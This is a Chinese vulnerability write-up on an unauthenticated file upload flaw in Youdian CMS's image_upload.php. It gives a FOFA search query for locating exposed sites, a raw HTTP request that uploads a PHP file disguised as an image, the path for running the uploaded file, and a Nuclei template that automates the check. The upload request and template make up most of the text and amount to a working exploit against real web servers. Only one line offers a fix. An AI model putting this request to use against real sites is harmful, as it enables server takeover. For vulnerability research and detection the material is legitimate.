免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
友点CMS是一款高效且灵活的网站管理系统,它为用户提供了简单易用的界面和丰富的功能。无论是企业还是个人,都能通过友点CMS快速搭建出专业且美观的网站。该系统支持多种内容类型和自定义模板,方便用户按需调整。同时,它具备强大的SEO功能,能提升网站在搜索引擎中的排名。友点CMS还支持多语言设置,适应国际化需求。总的来说,友点CMS是网站建设的理想选择,既高效又易用。
友点CMS建站系统image_upload.php 接口处存在文件上传漏洞,恶意攻击者可能会利用此漏洞上传恶意文件,从而获取服务器权限。
Ⅱ、fofa语句
app="友点建站-CMS"
Ⅲ、漏洞复现
POC
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="files"; filename="ceshi.php"
Content-Type: image/jpg
<?php echo md5('666');unlink(__FILE__);?>
------WebKitFormBoundarydAPjrmyKewWuf59H--
1、构建poc
2、访问
http://127.0.0.1/Public/image/uploads/1708478710775.php
Ⅳ、Nuclei-POC
id: Youdian-CMS-uploadfile
info:
name: 友点CMS建站系统image_upload.php 接口处存在文件上传漏洞,恶意攻击者可能会利用此漏洞上传恶意文件,从而获取服务器权限。
author: WLF
severity: high
metadata:
fofa-query: app="友点建站-CMS"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
Content-Type: image/jpg
<?php echo md5('666');unlink(__FILE__);?>
------WebKitFormBoundarydAPjrmyKewWuf59H--
- |
GET /Public/image/uploads/{{path}}.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
extractors:
- type: regex
name: path
group: 1
regex:
- 'image/uploads/(\w*)\.php'
internal: true
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"fae0b27c451c728867a567e8c1bb4e53")
Ⅴ、修复建议
设置接口访问控制,升级至安全版本